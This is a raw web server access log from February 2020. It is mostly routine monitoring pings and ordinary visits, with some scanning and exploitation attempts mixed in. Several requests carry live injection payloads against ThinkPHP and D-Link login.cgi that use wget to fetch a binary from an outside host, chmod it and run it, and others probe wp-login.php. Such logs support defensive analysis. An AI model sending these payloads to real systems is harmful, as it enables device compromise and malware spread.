212.91.246.72 - - [20/Feb/2020:19:41:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:19:42:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:19:43:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:19:44:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:19:45:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:19:46:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:19:47:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:19:48:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:19:49:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.106.181 - - [20/Feb/2020:19:50:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [20/Feb/2020:19:50:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:19:51:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:19:52:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:19:53:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:19:54:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:19:55:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:19:56:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.40.162.142 - - [20/Feb/2020:19:56:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
51.254.59.113 - - [20/Feb/2020:19:56:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:19:57:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:19:58:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:19:59:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:20:00:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:20:01:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:20:02:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:20:03:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:20:04:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:20:05:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:20:06:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:20:07:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:20:08:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:20:09:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:20:10:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:20:11:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:20:12:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:20:13:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:20:14:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:20:15:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:20:16:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:20:17:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.28.111.56 - - [20/Feb/2020:20:18:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [20/Feb/2020:20:18:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.190.176.92 - - [20/Feb/2020:20:18:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
85.102.26.45 - - [20/Feb/2020:20:19:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
187.188.182.45 - - [20/Feb/2020:20:19:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:20:19:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:20:20:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [20/Feb/2020:20:20:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [20/Feb/2020:20:21:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:20:22:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:20:23:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
50.63.12.204 - - [20/Feb/2020:20:23:51 +0100] "GET /wp-login.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
50.63.12.204 - - [20/Feb/2020:20:23:51 +0100] "GET /wp-login.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
50.63.12.204 - - [20/Feb/2020:20:23:51 +0100] "GET /wp-login.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
50.63.12.204 - - [20/Feb/2020:20:23:51 +0100] "GET /wp-login.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
50.63.12.204 - - [20/Feb/2020:20:23:51 +0100] "GET /wp-login.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
50.63.12.204 - - [20/Feb/2020:20:23:51 +0100] "GET /wp-login.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
50.63.12.204 - - [20/Feb/2020:20:23:52 +0100] "GET /wp-login.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
50.63.12.204 - - [20/Feb/2020:20:23:52 +0100] "GET /wp-login.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
50.63.12.204 - - [20/Feb/2020:20:23:52 +0100] "GET /wp-login.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
50.63.12.204 - - [20/Feb/2020:20:23:52 +0100] "GET /wp-login.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
212.91.246.72 - - [20/Feb/2020:20:24:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:20:25:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
152.136.157.215 - - [20/Feb/2020:20:26:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:20:26:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:20:27:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:20:28:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:20:29:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
179.228.179.85 - - [20/Feb/2020:20:30:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:20:30:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:20:31:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:20:32:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:20:33:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.55.168.50 - - [20/Feb/2020:20:34:22 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [20/Feb/2020:20:34:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:20:35:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:20:36:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.145.19.190 - - [20/Feb/2020:20:36:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:20:37:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:20:38:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:20:39:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:20:40:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:20:41:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.112.35.98 - - [20/Feb/2020:20:41:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [20/Feb/2020:20:42:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.33.112.155 - - [20/Feb/2020:20:43:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [20/Feb/2020:20:43:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:20:44:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.40.234.114 - - [20/Feb/2020:20:45:20 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [20/Feb/2020:20:45:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.197.108.38 - - [20/Feb/2020:20:45:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:20:46:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:20:47:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:20:48:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:20:49:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:20:50:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.73.222.147 - - [20/Feb/2020:20:51:18 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [20/Feb/2020:20:51:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:20:52:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:20:53:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:20:54:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:20:55:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:20:56:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:20:57:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.197.108.6 - - [20/Feb/2020:20:58:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:20:58:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:20:59:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:21:00:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:21:01:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:21:02:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:21:03:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:21:04:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:21:05:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:21:06:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:21:07:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:21:08:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:21:09:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:21:10:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:21:11:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:21:12:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:21:13:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:21:14:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:21:15:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:21:16:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:21:17:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.197.108.42 - - [20/Feb/2020:21:17:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:21:18:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.161.99.72 - - [20/Feb/2020:21:19:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [20/Feb/2020:21:19:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [20/Feb/2020:21:19:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [20/Feb/2020:21:19:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:21:19:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.161.99.72 - - [20/Feb/2020:21:19:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:21:20:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
218.158.126.72 - - [20/Feb/2020:21:20:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
218.158.126.72 - - [20/Feb/2020:21:20:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
218.158.126.72 - - [20/Feb/2020:21:20:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:21:21:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
218.158.126.72 - - [20/Feb/2020:21:21:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
45.181.228.19 - - [20/Feb/2020:21:22:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:21:22:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:21:23:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:21:24:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:21:25:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:21:26:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:21:27:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
